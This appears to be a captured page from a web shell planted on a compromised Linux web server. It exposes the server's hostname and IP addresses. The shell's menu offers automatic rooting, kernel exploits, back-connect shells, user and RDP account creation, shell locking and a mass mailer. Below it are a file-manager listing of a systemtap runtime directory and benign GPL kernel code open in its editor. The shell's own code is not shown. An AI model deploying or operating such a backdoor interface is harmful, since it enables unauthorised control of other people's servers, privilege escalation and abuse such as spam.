Linux server2.hpierson.com 3.10.0-1160.105.1.el7.x86_64 #1 SMP Thu Dec 7 15:39:45 UTC 2023 x86_64
Apache
: 162.0.216.123 | : 216.73.216.152
28 Domain
?7.4.33
yvffpqmy
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
usr /
share /
systemtap /
runtime /
linux /
[ HOME SHELL ]
Name
Size
Permission
Action
?;
uprobes
[ DIR ]
drwxr-xr-x
?;
uprobes2
[ DIR ]
drwxr-xr-x
access_process_vm.h
3.59
KB
-rw-r--r--
addr-map.c
8.03
KB
-rw-r--r--
alloc.c
15.02
KB
-rw-r--r--
arith.c
16.41
KB
-rw-r--r--
autoconf-alloc-percpu-align.c
118
B
-rw-r--r--
autoconf-asm-syscall.c
26
B
-rw-r--r--
autoconf-bio-bi_opf.c
824
B
-rw-r--r--
autoconf-blk-types.c
359
B
-rw-r--r--
autoconf-compat_sigaction.c
448
B
-rw-r--r--
autoconf-constant-tsc.c
63
B
-rw-r--r--
autoconf-cpu-clock.c
1.25
KB
-rw-r--r--
autoconf-dpath-path.c
121
B
-rw-r--r--
autoconf-from_kuid_munged.c
191
B
-rw-r--r--
autoconf-fs_supers-hlist.c
354
B
-rw-r--r--
autoconf-generated-compile.c
56
B
-rw-r--r--
autoconf-get_user_pages_remote...
1.51
KB
-rw-r--r--
autoconf-get_user_pages_remote...
1.3
KB
-rw-r--r--
autoconf-grsecurity.c
219
B
-rw-r--r--
autoconf-hlist-4args.c
296
B
-rw-r--r--
autoconf-hrtimer-getset-expire...
126
B
-rw-r--r--
autoconf-hrtimer-rel.c
87
B
-rw-r--r--
autoconf-hw_breakpoint_context...
315
B
-rw-r--r--
autoconf-inode-private.c
173
B
-rw-r--r--
autoconf-inode-rwsem.c
172
B
-rw-r--r--
autoconf-inode-uretprobes.c
264
B
-rw-r--r--
autoconf-kallsyms-on-each-symb...
192
B
-rw-r--r--
autoconf-kprobe-symbol-name.c
90
B
-rw-r--r--
autoconf-ktime-get-real.c
98
B
-rw-r--r--
autoconf-linux-sched_headers.c
1.64
KB
-rw-r--r--
autoconf-local-clock.c
1.25
KB
-rw-r--r--
autoconf-mm-context-vdso-base....
117
B
-rw-r--r--
autoconf-mm-context-vdso.c
114
B
-rw-r--r--
autoconf-mod_kallsyms.c
51
B
-rw-r--r--
autoconf-module-sect-attrs.c
158
B
-rw-r--r--
autoconf-module_layout.c
52
B
-rw-r--r--
autoconf-nameidata.c
96
B
-rw-r--r--
autoconf-netfilter-313b.c
602
B
-rw-r--r--
autoconf-netfilter-4_1.c
769
B
-rw-r--r--
autoconf-netfilter-4_4.c
1.43
KB
-rw-r--r--
autoconf-netfilter.c
422
B
-rw-r--r--
autoconf-old-inode-uprobes.c
357
B
-rw-r--r--
autoconf-oneachcpu-retry.c
957
B
-rw-r--r--
autoconf-pagefault_disable.c
137
B
-rw-r--r--
autoconf-perf-structpid.c
444
B
-rw-r--r--
autoconf-procfs-owner.c
158
B
-rw-r--r--
autoconf-real-parent.c
427
B
-rw-r--r--
autoconf-regset.c
239
B
-rw-r--r--
autoconf-relay-umode_t.c
730
B
-rw-r--r--
autoconf-relay_buf-per_cpu_ptr...
920
B
-rw-r--r--
autoconf-ring_buffer-flags.c
112
B
-rw-r--r--
autoconf-ring_buffer_lost_even...
296
B
-rw-r--r--
autoconf-ring_buffer_read_prep...
181
B
-rw-r--r--
autoconf-save-stack-trace-no-b...
498
B
-rw-r--r--
autoconf-save-stack-trace.c
501
B
-rw-r--r--
autoconf-smpcall-4args.c
166
B
-rw-r--r--
autoconf-smpcall-5args.c
169
B
-rw-r--r--
autoconf-stacktrace_ops-int-ad...
409
B
-rw-r--r--
autoconf-stacktrace_ops-warnin...
188
B
-rw-r--r--
autoconf-task-uid.c
152
B
-rw-r--r--
autoconf-task_work-struct.c
219
B
-rw-r--r--
autoconf-timerfd.c
232
B
-rw-r--r--
autoconf-trace-printk.c
151
B
-rw-r--r--
autoconf-tracepoint-strings.c
233
B
-rw-r--r--
autoconf-uaccess.c
28
B
-rw-r--r--
autoconf-udelay_simple.c
90
B
-rw-r--r--
autoconf-uidgid.c
50
B
-rw-r--r--
autoconf-unwind-stack-trace.c
326
B
-rw-r--r--
autoconf-uprobe-get-pc.c
374
B
-rw-r--r--
autoconf-utrace-regset.c
273
B
-rw-r--r--
autoconf-utrace-via-tracepoint...
1.67
KB
-rw-r--r--
autoconf-vm-area-pte.c
141
B
-rw-r--r--
autoconf-walk-stack.c
217
B
-rw-r--r--
autoconf-x86-fs.c
90
B
-rw-r--r--
autoconf-x86-gs.c
90
B
-rw-r--r--
autoconf-x86-uniregs.c
115
B
-rw-r--r--
autoconf-x86-xfs.c
91
B
-rw-r--r--
common_session_state.h
2.93
KB
-rw-r--r--
compat_net.h
858
B
-rw-r--r--
compat_structs.h
4.31
KB
-rw-r--r--
compat_unistd.h
60.25
KB
-rw-r--r--
copy.c
2.58
KB
-rw-r--r--
debug.h
2.5
KB
-rw-r--r--
io.c
4.6
KB
-rw-r--r--
itrace.c
14.53
KB
-rw-r--r--
kprobes.c
22.57
KB
-rw-r--r--
loc2c-runtime.h
23.87
KB
-rw-r--r--
map_list.h
1.19
KB
-rw-r--r--
map_runtime.h
4.12
KB
-rw-r--r--
namespaces.h
6.96
KB
-rw-r--r--
netfilter.c
1.38
KB
-rw-r--r--
perf.c
7.42
KB
-rw-r--r--
perf.h
1.22
KB
-rw-r--r--
perf_event_counter_context.c
336
B
-rw-r--r--
perf_probe_handler_nmi.c
278
B
-rw-r--r--
perf_read.h
959
B
-rw-r--r--
print.c
5.85
KB
-rw-r--r--
probe_lock.h
1.69
KB
-rw-r--r--
regs-ia64.c
3.65
KB
-rw-r--r--
regs.c
12.63
KB
-rw-r--r--
runtime.h
10.55
KB
-rw-r--r--
runtime_context.h
4.75
KB
-rw-r--r--
runtime_defines.h
1.02
KB
-rw-r--r--
stat_runtime.h
1.7
KB
-rw-r--r--
stp_tracepoint.c
11.07
KB
-rw-r--r--
stp_tracepoint.h
2.1
KB
-rw-r--r--
syscalls-common.h
976
B
-rw-r--r--
task_finder.c
52.17
KB
-rw-r--r--
task_finder2.c
53.5
KB
-rw-r--r--
task_finder_map.c
5.07
KB
-rw-r--r--
task_finder_stubs.c
2.38
KB
-rw-r--r--
task_work_compatibility.h
1.25
KB
-rw-r--r--
timer.c
2.15
KB
-rw-r--r--
timer.h
1.35
KB
-rw-r--r--
timer_compatibility.h
2.26
KB
-rw-r--r--
uprobes-common.c
15.21
KB
-rw-r--r--
uprobes-common.h
1.61
KB
-rw-r--r--
uprobes-inc.h
484
B
-rw-r--r--
uprobes-inode.c
22.79
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : runtime_context.h
/* -*- linux-c -*- * Context Runtime Functions * Copyright (C) 2014 Red Hat Inc. * * This file is part of systemtap, and is free software. You can * redistribute it and/or modify it under the terms of the GNU General * Public License (GPL); either version 2, or (at your option) any * later version. */ #ifndef _LINUX_RUNTIME_CONTEXT_H_ #define _LINUX_RUNTIME_CONTEXT_H_ #ifndef __rcu #define __rcu #endif static struct context __rcu *contexts[NR_CPUS] = { NULL }; static int _stp_runtime_contexts_alloc(void) { int cpu; for_each_possible_cpu(cpu) { /* Module init, so in user context, safe to use * "sleeping" allocation. */ struct context *c = _stp_vzalloc_node(sizeof (struct context), cpu_to_node(cpu)); if (c == NULL) { _stp_error ("context (size %lu per cpu) allocation failed", (unsigned long) sizeof (struct context)); return -ENOMEM; } rcu_assign_pointer(contexts[cpu], c); } return 0; } /* We should be free of all probes by this time, but for example the timer for * _stp_ctl_work_callback may still be running and looking for contexts. We * use RCU-sched synchronization to be sure its safe to free them. */ static void _stp_runtime_contexts_free(void) { // Note that 'free_contexts' is static because it is // (probably) too big to fit on a kernel function's stack. static struct context *free_contexts[NR_CPUS] = { NULL }; int cpu; /* First, save all the pointers. */ rcu_read_lock_sched(); for_each_possible_cpu(cpu) { free_contexts[cpu] = rcu_dereference_sched(contexts[cpu]); } rcu_read_unlock_sched(); /* Now clear all pointers to prevent new readers. */ for_each_possible_cpu(cpu) { rcu_assign_pointer(contexts[cpu], NULL); } /* Sync to make sure existing readers are done. */ stp_synchronize_sched(); /* Now we can actually free the contexts. */ for_each_possible_cpu(cpu) { struct context *c = free_contexts[cpu]; if (c != NULL) { free_contexts[cpu] = NULL; _stp_vfree(c); } } } static inline struct context * _stp_runtime_get_context(void) { return rcu_dereference_sched(contexts[smp_processor_id()]); } static struct context * _stp_runtime_entryfn_get_context(void) { struct context* __restrict__ c = NULL; preempt_disable (); c = _stp_runtime_get_context(); if (c != NULL) { if (atomic_inc_return(&c->busy) == 1) { // NB: Notice we're not re-enabling preemption // here. We exepect the calling code to call // _stp_runtime_entryfn_get_context() and // _stp_runtime_entryfn_put_context() as a // pair. return c; } atomic_dec(&c->busy); } preempt_enable_no_resched(); return NULL; } static inline void _stp_runtime_entryfn_put_context(struct context *c) { if (c) { if (c == _stp_runtime_get_context()) atomic_dec(&c->busy); /* else, warn about bad state? */ preempt_enable_no_resched(); } return; } static void _stp_runtime_context_wait(void) { int holdon; unsigned long hold_start; int hold_index; hold_start = jiffies; hold_index = -1; do { int i; holdon = 0; rcu_read_lock_sched(); for_each_possible_cpu(i) { struct context *c = rcu_dereference_sched(contexts[i]); if (c != NULL && atomic_read (& c->busy)) { holdon = 1; /* Just in case things are really * stuck, let's print some diagnostics. */ if (time_after(jiffies, hold_start + HZ) // > 1 second && (i > hold_index)) { // not already printed hold_index = i; printk(KERN_ERR "%s context[%d] stuck: %s\n", THIS_MODULE->name, i, c->probe_point); } } } rcu_read_unlock_sched(); /* * Just in case things are really really stuck, a * handler probably suffered a fault, and the kernel * probably killed a task/thread already. We can't be * quite sure in what state everything is in, however * auxiliary stuff like kprobes / uprobes / locks have * already been unregistered. So it's *probably* safe * to pretend/assume/hope everything is OK, and let * the cleanup finish. * * In the worst case, there may occur a fault, as a * genuinely running probe handler tries to access * script globals (about to be freed), or something * accesses module memory (about to be unloaded). * This is sometimes stinky, so the alternative * (default) is to change from a livelock to a * livelock that sleeps awhile. */ #ifdef STAP_OVERRIDE_STUCK_CONTEXT if (time_after(jiffies, hold_start + HZ*10)) { // > 10 seconds printk(KERN_ERR "%s overriding stuck context to allow module shutdown.", THIS_MODULE->name); holdon = 0; // allow loop to exit } #else /* at least stop sucking down the staprun cpu */ msleep(250); #endif /* NB: we run at least one of these during the * shutdown sequence: */ yield(); /* aka schedule() and then some */ } while (holdon); } #endif /* _LINUX_RUNTIME_CONTEXT_H_ */
Close